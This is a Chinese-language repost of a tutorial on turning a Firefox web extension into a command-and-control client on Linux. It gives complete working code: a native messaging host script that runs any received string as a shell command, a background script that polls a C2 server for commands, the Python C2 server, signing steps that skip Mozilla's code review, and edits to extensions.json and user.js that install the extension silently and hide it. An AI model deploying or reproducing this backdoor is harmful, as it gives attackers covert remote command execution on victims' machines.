记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

利用Firefox扩展作为C2客户端

2019-03-25 12:20

注意:这项技术仅在Linux上进行了测试,在Mac或者Windows上无法运行。

Firefox Web扩展

火狐的web扩展其实就是插件的新叫法,用JavaScript代码编写,能够与浏览器的API进行交互。所以,基于这一点,我灵光一闪,想到可以写一个web扩展来作为CC客户端。

如何实现

我仔细研读了火狐关于Web扩展的官方文档之后,发现了一个Native Messaging的功能,它们在web扩展和系统程序之间创建了一个通道,如果你想了解更多细节,建议你去阅读官方文档,因为本篇文章不会着重讲这个知识点。

创建一个Native Messaging app

我们需要两个文件来实现,一个manifest文件和一个应用程序来接收来自Web扩展的命令,在官方文档上有如下的例子:

· manifest

· application

Manifest文件

这个文件告诉火狐有一个新创建的函数可以被允许的web扩展调用,内容如下:

{
  "name": "execution",
  "description": "Malicious function",
  "path": "/home/user/.mozilla/extensions/payload.py",
  "type": "stdio",
  "allowed_extensions": [ "[email protected]" ]
}

 

可以看到有一个name属性,火狐将会把这个name属性值与一个函数绑定,并且allowed_extensions将只允许我们的扩展来使用该函数(我们会在webextension manifest上设置这个值为[email protected]),属性路径定义了app脚本存放的位置。

然后复制该文件到/home/user/.mozilla/native-messaging-hosts/execution.json

App script中。

App脚本

这是一个python脚本,通过STDIN从webextension接收数据并作为系统命令执行这个值,对响应进行编码,然后通过STDOUT将它发送到webextension。脚本如下:

#!/usr/bin/env python
 
import sys
import json
import struct
import base64
import subprocess
 
def getMessage():
    rawLength = sys.stdin.buffer.read(4)
    if len(rawLength) == 0:
        sys.exit(0)
    messageLength = struct.unpack('@I', rawLength)[0]
    message = sys.stdin.buffer.read(messageLength).decode('utf-8')
    return json.loads(message)
 
def encodeMessage(messageContent):
    encodedContent = json.dumps(messageContent).encode('utf-8')
    encodedLength = struct.pack('@I', len(encodedContent))
    return {'length': encodedLength, 'content': encodedContent}
 
def sendMessage(encodedMessage):
    sys.stdout.buffer.write(encodedMessage['length'])
    sys.stdout.buffer.write(encodedMessage['content'])
    sys.stdout.buffer.flush()
 
def execcmd(cmd):
    output = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE,universal_newlines=True)
    return base64.b64encode(output.stdout.encode()).decode()
 
while True:
    receivedMessage = getMessage()
sendMessage(encodeMessage(execcmd(receivedMessage)))

现在万事俱备,只欠东风了。webextension可以跟execution这个函数进行交互了。

创建一个webextension

我们只需要创建两个文件,一个manifest.json文件,包含webextension信息,还有一个background.js文件,包含客户端逻辑。这里我们只是创建一个简单的例子,当然,大家可以创建更加复杂的客户端。首先我们来创建manifest文件:

{
  "description": "C2 Client",
  "manifest_version": 2,
  "name": "C2 Client",
  "version": "1.0",
  "applications": {
    "gecko": {
      "id": "[email protected]",
      "strict_min_version": "50.0"
    }
  },
  "background": {
    "scripts": ["background.js"]
  },
  "permissions": ["nativeMessaging","<all_urls>"]
}

我就不对所有参数一一解释了,这里最重要的是application里的gecko和id的值。这个值包含了在native messaging app上设置的相同的id,并且在属性permissions中的nativeMessaging值,向Firefox指定了这个webextension能够使用Native Messaging应用程序。

现在我们来创建一个webextension来与我们C2服务器交互:

var port;
var timeout = 1000;
var result = "none";
 
var sendMessage = function(){
  server = "http://127.0.0.1:8081/";
  var oReq = new XMLHttpRequest();
  oReq.open('POST',server,true)
  oReq.setRequestHeader('Content-type', 'application/x-www-form-urlencoded')
 
  oReq.onerror = function (e) {
    setTimeout(sendMessage,timeout); }
 
  oReq.ontimeout = function (e) {
    setTimeout(sendMessage,timeout);
  }
 
  oReq.onload = function(oEvent) {
    if (oReq.status == 200){
      var cmd = oReq.response
      if (cmd != ""){
        console.log(cmd)
        port = browser.runtime.connectNative("execution");
        port.onMessage.addListener((response) => {
          result = response;
          port.disconnect();
        });
        port.postMessage(cmd);
      }
      setTimeout(sendMessage,timeout);
    }
  };
  oReq.send("response="+result);
  result = "none"
}
setTimeout(sendMessage,timeout);

这段JavaScript代码的意思就是连接到C2服务器,等待命令,接收到命令然后执行。而服务器端只是一个python编写的简单的http服务器:

import cgi
import threading
from urlparse import urlparse, parse_qs
from SocketServer import ThreadingMixIn
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
 
class Handler(BaseHTTPRequestHandler):
 
    def do_POST(self):
        self.send_response(200)
        self.end_headers()
        message =  threading.currentThread().getName()
        form = cgi.FieldStorage(fp=self.rfile,headers=self.headers,environ={'REQUEST_METHOD': 'POST'})
        result = form.getvalue("response")
        if result != "none":
            print(result.decode('base64'))
            return
        cmd = raw_input("$ ")
        self.wfile.write(cmd)
        return
 
    def log_message(self, format, *args):
        return
 
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
    """Handle requests in a separate thread."""
 
if __name__ == '__main__':
    server = ThreadedHTTPServer(('localhost', 8081), Handler)
    print 'Starting server, use <Ctrl-C> to stop'
server.serve_forever()

生成webextension

现在,我们使用zip将manifest.json和background.js文件压缩成[email protected],然后到火狐开发者面板来签发我们的webextension。选择”添加自己的扩展组件,你提交的扩展会立刻签发并进行自分发。你可以通过一个更新URL来升级或者外部应用升级.。上传xpi.file文件,点击签署插件”,然后选择no,因为我们不希望火狐分析我们的代码,然后点击继续,然后下载已经签名的webextension。

安装webextension

现在我们来安装webextension,不过我们不会使用Firefox界面(因为它需要用户交互)。我们会编辑几个文件来让火狐检测我们的webextension。当安装webextension时,要关掉其他所有的Firefox页面,这一点十分重要。

webextension文件

复制已经签名的webextension文件到$HOME/.mozilla/firefox/profile-name/extensions中。

extensions.json

$HOME/.mozilla/firefox/profile-name/extensions.json这个json文件存放着Firefox已经安装的webextension,我们只需要把我们的webextension写入文件里就可以了,下面是一个配置文件:

{
  "id": "[email protected]",
  "syncGUID": "{7b594760-d78d-410c-ad1f-34a4aaa8c3ac}",
  "version": "1.0",
  "type": "extension",
  "loader": null,
  "updateURL": null,
  "optionsURL": null,
  "optionsType": null,
  "optionsBrowserStyle": true,
  "aboutURL": null,
  "defaultLocale": {
    "name": "C2 Client",
    "description": "C2 Client",
    "creator": null,
    "developers": null,
    "translators": null,
    "contributors": null
  },
  "visible": true,
  "active": true,
  "userDisabled": false,
  "appDisabled": false,
  "installDate": 1550640880000,
  "updateDate": 1550640880000,
  "applyBackgroundUpdates": 1,
  "path": "/home/user/.mozilla/firefox/f22lasdy.default/extensions/[email protected]",
  "skinnable": false,
  "sourceURI": null,
  "releaseNotesURI": null,
  "softDisabled": false,
  "foreignInstall": false,
  "strictCompatibility": true,
  "locales": [],
  "targetApplications": [
    {
      "id": "[email protected]",
      "minVersion": "50.0",
      "maxVersion": null
    }
  ],
  "targetPlatforms": [],
  "signedState": 2,
  "seen": true,
  "dependencies": [],
  "userPermissions": {
    "permissions": [
      "nativeMessaging"
    ],
    "origins": [
      "<all_urls>"
    ]
  },
  "icons": {},
  "iconURL": null,
  "blocklistState": 0,
  "blocklistURL": null,
  "startupData": null,
  "hidden": true,
  "installTelemetryInfo": {
    "source": "about:addons",
    "method": "install-from-file"
  },
  "location": "app-system-defaults"
}

这里有一个很重要的选项,因为如果我们把这个值设置为app-system-defaults,然后这个webextension在Firefox中是不可见的。我们可以使用下面这个python脚本来自动化该文件的过程:

import json
extensions = json.loads(open('/home/user/.mozilla/firefox/profile-name/extensions.json').read())
plugin = json.loads(open('myexntension.json').read())
plugin['path'] = '/home/user/.mozilla/firefox/profile-name/extensions/[email protected]'
extensions['addons'].insert(len(extensions['addons']),plugin)
print(json.dumps(extensions))"

然后我们用该python脚本的输出来替换extension.json文件的内容。

user.js

创建/home/user/.mozilla/firefox/profile-name/user.js文件,写入如下内容:

user_pref("extensions.webextensions.uuids","{\"[email protected]\":\"fef0c3b3-9327-4584-839c-52cf45d94170\"}");

总结

为了让Firefox能够检测和启用这个webextension扩展,需要先关掉Firefox然后再重新启动,然后就可以正常使用了。

PoC

这里有一个演示如何使用这个webextension的视频。我现在使用这个webextension扩展作为开发者扩展来展示调试控制台。视频地址在这里,PoC视频

本文翻译自:https://mthbernardes.github.io/persistence/2019/03/07/using-firefox-webextensions-as-c2-client.html如若转载,请注明原文地址: http://www.hackdig.com/03/hack-54656.htm
知识来源: https://www.4hou.com/web/16928.html

阅读:42989 | 评论:0 | 标签:Web安全 C2客户端 火狐插件

想收藏或者和大家分享这篇好文章→复制链接地址

“利用Firefox扩展作为C2客户端”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云

本页关键词